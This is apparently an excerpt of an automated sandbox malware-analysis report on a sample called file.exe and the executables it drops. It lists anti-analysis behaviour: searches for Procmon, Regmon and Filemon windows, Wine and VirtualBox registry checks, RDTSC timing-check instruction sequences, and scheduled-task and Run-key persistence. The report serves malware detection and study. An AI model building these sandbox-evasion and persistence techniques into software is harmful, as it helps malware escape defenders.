Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_E81D8DD3EACFA71E827377A4597DF902			Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_E81D8DD3EACFA71E827377A4597DF902			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_009FF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		9_2_009FF98E
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A71C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		9_2_00A71C41

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_9-96355

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F0FC second address: 88F106 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F142CBFA9CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07754 second address: A0775A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0775A second address: A0775E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0775E second address: A0779B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F142CBF9DC8h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jmp 00007F142CBF9DC3h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0779B second address: A07861 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F142CBFA9C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F142CBFA9D7h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jbe 00007F142CBFA9D9h 0x0000001c jmp 00007F142CBFA9D3h 0x00000021 pop eax 0x00000022 push 00000003h 0x00000024 jmp 00007F142CBFA9D0h 0x00000029 push 00000000h 0x0000002b call 00007F142CBFA9D4h 0x00000030 and ecx, dword ptr [ebp+122D2A9Ch] 0x00000036 pop edi 0x00000037 push 00000003h 0x00000039 sub dword ptr [ebp+122D1F78h], edx 0x0000003f push 8AF7FCA9h 0x00000044 push ecx 0x00000045 jmp 00007F142CBFA9D4h 0x0000004a pop ecx 0x0000004b add dword ptr [esp], 35080357h 0x00000052 stc 0x00000053 lea ebx, dword ptr [ebp+1244C482h] 0x00000059 jp 00007F142CBFA9DEh 0x0000005f xchg eax, ebx 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07861 second address: A07865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07A22 second address: A07A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F142CBFA9D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07A38 second address: A07A52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jc 00007F142CBF9DD0h 0x00000012 push eax 0x00000013 push edx 0x00000014 ja 00007F142CBF9DB6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07A52 second address: A07AC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007F142CBFA9D4h 0x00000011 jbe 00007F142CBFA9C8h 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e jmp 00007F142CBFA9D9h 0x00000023 pop eax 0x00000024 ja 00007F142CBFA9CCh 0x0000002a lea ebx, dword ptr [ebp+1244C48Dh] 0x00000030 sub dword ptr [ebp+122D2897h], edx 0x00000036 xchg eax, ebx 0x00000037 pushad 0x00000038 pushad 0x00000039 push ecx 0x0000003a pop ecx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19B27 second address: A19B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19B2B second address: A19B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19B35 second address: A19B39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28F39 second address: A28F3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28F3F second address: A28F53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F142CBF9DBBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26E11 second address: A26E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26E15 second address: A26E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26FAE second address: A26FB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26FB2 second address: A26FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F142CBF9DC3h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26FCF second address: A26FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26FD3 second address: A26FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A273E0 second address: A27400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 jmp 00007F142CBFA9D9h 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27400 second address: A27416 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007F142CBF9DB6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F142CBF9DB6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27416 second address: A2741A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2741A second address: A2741E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A276D9 second address: A2770F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F142CBFA9D2h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F142CBFA9D3h 0x00000015 jnp 00007F142CBFA9C6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2770F second address: A27713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27713 second address: A27719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2798E second address: A279C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F142CBF9DC0h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F142CBF9DB6h 0x00000014 jmp 00007F142CBF9DC7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A279C4 second address: A279C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A279C8 second address: A279FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a jmp 00007F142CBF9DC8h 0x0000000f js 00007F142CBF9DB8h 0x00000015 push esi 0x00000016 pop esi 0x00000017 jl 00007F142CBF9DC9h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27B2C second address: A27B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F142CBFA9CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27B3F second address: A27B50 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F142CBF9DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27B50 second address: A27B65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27B65 second address: A27B83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F142CBF9DC8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27B83 second address: A27B92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F142CBFA9C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27CEB second address: A27D1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F142CBF9DC3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27D1B second address: A27D25 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F142CBFA9C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27D25 second address: A27D38 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F142CBF9DB8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27FD0 second address: A27FE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F142CBFA9CCh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27FE6 second address: A27FF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F142CBF9DC8h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27FF7 second address: A27FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28665 second address: A2866B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2866B second address: A28693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F142CBFA9C6h 0x0000000a popad 0x0000000b jmp 00007F142CBFA9D8h 0x00000010 popad 0x00000011 push edi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2899C second address: A289A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F142CBF9DB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28DB8 second address: A28DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28DC3 second address: A28DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28DC9 second address: A28DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B131 second address: A2B136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A336C8 second address: A336CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A336CE second address: A336D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A336D2 second address: A336D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A336D6 second address: A3371C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F142CBF9DBBh 0x0000000b pop esi 0x0000000c pushad 0x0000000d jno 00007F142CBF9DDFh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3371C second address: A33720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33E88 second address: A33E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34016 second address: A34020 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F142CBFA9CEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34020 second address: A3403C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F142CBF9DC1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3403C second address: A34070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F142CBFA9D6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F142CBFA9D2h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34070 second address: A34074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3770E second address: A37718 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F142CBFA9C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A377D7 second address: A377FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F142CBF9DC8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37AEE second address: A37AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37DE2 second address: A37DE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37DE7 second address: A37E08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F142CBFA9C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F142CBFA9D0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38475 second address: A3847A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3847A second address: A3849C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F142CBFA9D5h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38527 second address: A38530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38530 second address: A38534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38534 second address: A38550 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F142CBF9DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d js 00007F142CBF9DBCh 0x00000013 ja 00007F142CBF9DB6h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3861F second address: A38637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F142CBFA9D3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38E15 second address: A38E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38E19 second address: A38E1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
